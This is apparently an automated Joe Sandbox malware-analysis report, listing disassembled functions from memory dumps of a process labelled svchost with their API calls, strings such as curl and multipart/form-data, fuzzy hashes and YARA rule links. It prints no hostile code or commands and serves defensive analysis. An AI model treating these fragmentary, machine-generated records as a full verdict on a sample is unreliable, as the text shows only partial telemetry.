Opcode Fuzzy Hash: bc905c6d137a0c53196b9c0bd09bc0aeaa0806cc2f24fc447d6273a82a917542
Instruction Fuzzy Hash: 64F05E107D2A04D5FE19DF72E88A37127E6AB56788FC40526841D063A0EF3DC276C320

Function 64942770 Relevance: 6.3, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 64942789
LeaveCriticalSection.KERNEL32 ref: 6494279F

Part of subcall function 64941A20: EnterCriticalSection.KERNEL32 ref: 64941A36
Part of subcall function 64941A20: LeaveCriticalSection.KERNEL32 ref: 64941A53

LeaveCriticalSection.KERNEL32 ref: 64942803

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: e6d460741ffd87fbcc524c01911827848854fb32983ebbc26eab718bd315e335
Instruction ID: 839a74ca1950b2cb207cd67fc0816a519b1457acde348efc587b99345e1d84d6
Opcode Fuzzy Hash: e6d460741ffd87fbcc524c01911827848854fb32983ebbc26eab718bd315e335
Instruction Fuzzy Hash: D43146766907408BD7448F36D84079E77A6F78ABDCF188222DE2A87758EF39D096C710

Function 00007FFDA5598510 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5598623

Part of subcall function 00007FFDA559F170: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA559F1A7
Part of subcall function 00007FFDA559F170: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA559F1B7
Part of subcall function 00007FFDA559F170: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA559F1C5
Part of subcall function 00007FFDA559F170: memset.VCRUNTIME140 ref: 00007FFDA559F1FB

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5598680

Part of subcall function 00007FFDA55AFD70: calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55AFD87

Strings

multipart/form-data, xrefs: 00007FFDA55986A5
Content-Type, xrefs: 00007FFDA55985D2

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$calloc$memset
String ID: Content-Type$multipart/form-data
API String ID: 2591755499-4152945368
Opcode ID: d1e0db9c1ca23246d3388f98bfa3d65a1eec2359ef394186dcf759faaa8e4fcd
Instruction ID: b6dacea69149e6df774e4f307376e3bc094b7c0d5a9f04cff9d5a04f60afaec8
Opcode Fuzzy Hash: d1e0db9c1ca23246d3388f98bfa3d65a1eec2359ef394186dcf759faaa8e4fcd
Instruction Fuzzy Hash: 6151637AB0A68A91FB5A8F2594743B922A1AF47FC8F5C0431DF0D4B79ADF2DD4408358

Function 00007FFDA55C5820 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C5901

Strings

xn--, xrefs: 00007FFDA55C5A7C

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID: xn--
API String ID: 1294909896-2826155999
Opcode ID: d69014e38151fdcfc67c195dccbca22c63f924bd26036cfcbf3b6621bdefd638
Instruction ID: 1fba26c2094d9d69c9728d29ec6c9c5fa5fa5fb1e313890691f117770c414d45
Opcode Fuzzy Hash: d69014e38151fdcfc67c195dccbca22c63f924bd26036cfcbf3b6621bdefd638
Instruction Fuzzy Hash: F951932AB0E68A86EA63CF5094603BA63A0FF96F55F944131CA9D47783DF3CE454C708

Function 00007FFDA55D2563 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 127COMMON

Download Yara Rule

Strings

Start Date, xrefs: 00007FFDA55D26BF, 00007FFDA55D26EC
%s: %s, xrefs: 00007FFDA55D26F3
TRUE, xrefs: 00007FFDA55D2683

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID:
String ID: %s: %s$Start Date$TRUE
API String ID: 0-2230884944
Opcode ID: 68a81571ecdef5c4a137a9b296885c5e9f7e7d90c37b6d7927c75c620fb00e52
Instruction ID: bfa9913283f93d38ad878b63dd256650f2fafd0744d1ca0156a86b07388ef60c
Opcode Fuzzy Hash: 68a81571ecdef5c4a137a9b296885c5e9f7e7d90c37b6d7927c75c620fb00e52
Instruction Fuzzy Hash: 91416757F0A2DB95FB6BCE6484303BC2BA1AB16B84F400036EA4E47BD7DE1CA544D348

Function 00007FFDA5592640 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFDA559267A
memmove.VCRUNTIME140 ref: 00007FFDA55926B4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA559270F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5592718

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$_time64memmove
String ID:
API String ID: 1971662853-0
Opcode ID: c2a971294bbe1eeb72241f0530a9a8e49296c1dce10cbb11a98eb0054fc56cbe
Instruction ID: eacd8d12fb9061afbeac9969a45742fd33ee9e148ad12015ba80c4e5ffaf211f
Opcode Fuzzy Hash: c2a971294bbe1eeb72241f0530a9a8e49296c1dce10cbb11a98eb0054fc56cbe
Instruction Fuzzy Hash: 6E41932EB0A68985FB629F25D5243B967A0BB57FA4F084231EE5D137C6DF2CE4448704

Function 64945570 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 84d1d499dd5c580db071729b4aff6c3732617e42b37efa82cf2e3daec4575e8e
Instruction ID: f54dc3540dcdf39a3e766a566c17badb3a3e851a3ded68f22904b7f3e537b287
Opcode Fuzzy Hash: 84d1d499dd5c580db071729b4aff6c3732617e42b37efa82cf2e3daec4575e8e
Instruction Fuzzy Hash: 0521CC22BC611446FF5A9FF5E95037D16566F99BB8F580624CF2D4B3A4FF28C8828B00

Function 64945F50 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 64945F87

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: HandleInformation
String ID:
API String ID: 1064748128-0
Opcode ID: 70f363d5e4adba558b642a658e2de984ee0605ceb2eeecdc855e808291014c40
Instruction ID: 79745a4ad5391706be20fe4235e8674050c91398eb3db706ed52aa63cfbd30a6
Opcode Fuzzy Hash: 70f363d5e4adba558b642a658e2de984ee0605ceb2eeecdc855e808291014c40
Instruction Fuzzy Hash: 9431A0213C150080FB11DF32ED403AA63AAEF94BD8F4445728E1D977A4EF39C986C321

Function 649472B0 Relevance: 6.1, APIs: 4, Instructions: 86timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 649472DB

Part of subcall function 649456A0: WaitForSingleObject.KERNEL32 ref: 649456C4

_errno.MSVCRT ref: 6494733E
GetSystemTimeAsFileTime.KERNEL32 ref: 6494735B
_errno.MSVCRT ref: 649473B8

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Time$FileSystem_errno$ObjectSingleWait
String ID:
API String ID: 619567339-0
Opcode ID: c903c4d7f9b72e94d93dbc11975c71b78c8edad599be5a2c54c4313e5523792b
Instruction ID: 583b08ec4c6ea9d136f58fd54912cdfbde6537a34a37690e72838d8498947f60
Opcode Fuzzy Hash: c903c4d7f9b72e94d93dbc11975c71b78c8edad599be5a2c54c4313e5523792b
Instruction Fuzzy Hash: 4221EAB279464987DF1DEF39FD042596267A795BE4F58C231EE094BB98EA38C4418310

Function 64945E50 Relevance: 6.1, APIs: 4, Instructions: 68synchronizationCOMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 64945E78
WaitForSingleObject.KERNEL32 ref: 64945ED7
CloseHandle.KERNEL32 ref: 64945EE8
CloseHandle.KERNEL32 ref: 64945EF3

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Handle$Close$InformationObjectSingleWait
String ID:
API String ID: 135186658-0
Opcode ID: c30ba9446f7f4fa1be5e53161ebeb563100884b9ac3cb260c09908a3213b95ff
Instruction ID: 3b7f193e5d864bfd26511a8a9e44dec223bbdd41615677f5d40ebcd1d534f3ba
Opcode Fuzzy Hash: c30ba9446f7f4fa1be5e53161ebeb563100884b9ac3cb260c09908a3213b95ff
Instruction Fuzzy Hash: 4221DE7238164095EB05CFB2E84835A2369EB94FBCF4482369F2D87798EF34C981C710

Function 00007FFDA55775B0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA5578D20: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5578D68

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55775F1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5577609
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557761B

Strings

Curl_conn_tcp_listen_set(%qd), xrefs: 00007FFDA55776B2

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$calloc
String ID: Curl_conn_tcp_listen_set(%qd)
API String ID: 3095843317-3050117601
Opcode ID: d45d943c071adaaf6bbfc5393bf34d21746673db048835246faad00d33f20b60
Instruction ID: 89b64b373c55ee339a6f1c344be6b5e4400de3c05e6677d8c0cef4f055704e08
Opcode Fuzzy Hash: d45d943c071adaaf6bbfc5393bf34d21746673db048835246faad00d33f20b60
Instruction Fuzzy Hash: EF317C3A60DB8A81E7219F26E8103AA6760FB89FC8F484131EE8D47B5ACF3CD1448714

Function 64944CB0 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 64944CCD
GetProcessAffinityMask.KERNEL32 ref: 64944CDC
GetCurrentProcess.KERNEL32 ref: 64944D12
SetProcessAffinityMask.KERNEL32 ref: 64944D1A

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: cb020629db8d9df8f43dbe50ffc33e56ce6b6f70c300bc2b20a6d5ce7658db5c
Instruction ID: a28e0928b939d3290fc9391eb43c8c4365bbbae0e382f54d2b97f9d83160bf69
Opcode Fuzzy Hash: cb020629db8d9df8f43dbe50ffc33e56ce6b6f70c300bc2b20a6d5ce7658db5c
Instruction Fuzzy Hash: BFF0F033780A1456EF264F2AF80039F6395BB88B8CF890134DE8C47360EE3EC556CA10

Function 64947210 Relevance: 6.0, APIs: 4, Instructions: 39timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32 ref: 6494725D
SetSystemTime.KERNEL32 ref: 6494726A
_errno.MSVCRT ref: 64947280
_errno.MSVCRT ref: 64947293

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Time$System_errno$File
String ID:
API String ID: 2046127076-0
Opcode ID: 865d12a501b8b53ec2b4ffe41e8b0cc87b075d7569cf6ad6906a412f6eef4b1d
Instruction ID: 9b2965fae3bff372d08399535a378afc7e62826f71c7462fdf77964becce744f
Opcode Fuzzy Hash: 865d12a501b8b53ec2b4ffe41e8b0cc87b075d7569cf6ad6906a412f6eef4b1d
Instruction Fuzzy Hash: 670126B139060583DF152F35ED0432BA396BB86B99F058321E92A8ABD4EF3DC4108B10

Function 64947890 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 64947946

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 649479CC
Address %p has no image-section, xrefs: 64947897, 649479E2

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 1804819252-157664173
Opcode ID: 58d5ffc90012783a004cf7d7dd8a0b386f8571cb24a0408e1651455e6bf02d4c
Instruction ID: 8be9da6754a8680321cc1caed793d364adb42589025e39e06b87e8c5ec4e3486
Opcode Fuzzy Hash: 58d5ffc90012783a004cf7d7dd8a0b386f8571cb24a0408e1651455e6bf02d4c
Instruction Fuzzy Hash: 2931D177792A4899FB41EF12EC44B56776ABB46BE8F488225DE0C07360EB38C143C310

Function 649424D0 Relevance: 5.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6494251B
LeaveCriticalSection.KERNEL32 ref: 64942544

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 851d171cd28a33aadb92ebce3c595771e2ce9737388f0198247a6dbe2b6ab19b
Instruction ID: b99e11a6316d0448230eb75c665dd17718beceef0fb6c32023aa6a9d4bb3f6bc
Opcode Fuzzy Hash: 851d171cd28a33aadb92ebce3c595771e2ce9737388f0198247a6dbe2b6ab19b
Instruction Fuzzy Hash: 04317F727546408AE704CF39D55079963A5F785BECF188221CE298B398EB34C845CB50

Function 649423A0 Relevance: 5.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 649423EB
LeaveCriticalSection.KERNEL32 ref: 64942412

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 6c5c170412acd35b33d122e5247fcd1a708dcfef8aec11af2fc5c19ab33a7a5d
Instruction ID: f967bd8da5c0fc703b858b5675a139c0871c693ac84ec2db33bbd0f9f2198421
Opcode Fuzzy Hash: 6c5c170412acd35b33d122e5247fcd1a708dcfef8aec11af2fc5c19ab33a7a5d
Instruction Fuzzy Hash: 69314B727946008BD704CF39D84038977A5F785FACF588221DE29CA398EB35C596CB51

Function 64942170 Relevance: 5.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000120,00000000,00000068,00000000,?,?,6494246F,?,?,?,?,?,?,00000000,00000100,64943A89), ref: 6494219E
LeaveCriticalSection.KERNEL32(?,?,6494246F,?,?,?,?,?,?,00000000,00000100,64943A89,?,?,?,00000100), ref: 649421B1
EnterCriticalSection.KERNEL32(?,?,6494246F,?,?,?,?,?,?,00000000,00000100,64943A89,?,?,?,00000100), ref: 649421E5
LeaveCriticalSection.KERNEL32(?,?,6494246F,?,?,?,?,?,?,00000000,00000100,64943A89,?,?,?,00000100), ref: 649421F6

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: f15036db10595685eebc1814736d955a65ba432477aa49132a02940adeb30443
Instruction ID: 7a5ad15dbad42ca2a217f772ee4adc9c7e6a81657260e45da0a70067a48174a5
Opcode Fuzzy Hash: f15036db10595685eebc1814736d955a65ba432477aa49132a02940adeb30443
Instruction Fuzzy Hash: B8018F237582549EE716DB77EC00B5AA7A4B789FD8F448122EE0983B14EA38C1438B01

Function 00007FFDA5581490 Relevance: 5.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C9286
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C92A5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C92BF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C92CD

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c0e2cc5d984bb2fa6972c2feed5f163034c72a56b7630030a885c6ec6e1cf5bf
Instruction ID: 29fe65fa7e68077af7204a2eb76749c521a46415a01ab30061e00336b8129e4a
Opcode Fuzzy Hash: c0e2cc5d984bb2fa6972c2feed5f163034c72a56b7630030a885c6ec6e1cf5bf
Instruction Fuzzy Hash: 80110A7AA0AA4982EB169F65E46033873B4EF95F94F444031CA4E03BA5CE38D455C348

Function 00007FFDA559E650 Relevance: 5.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA559E662
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA559E673
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA559E692
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA559E69B

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
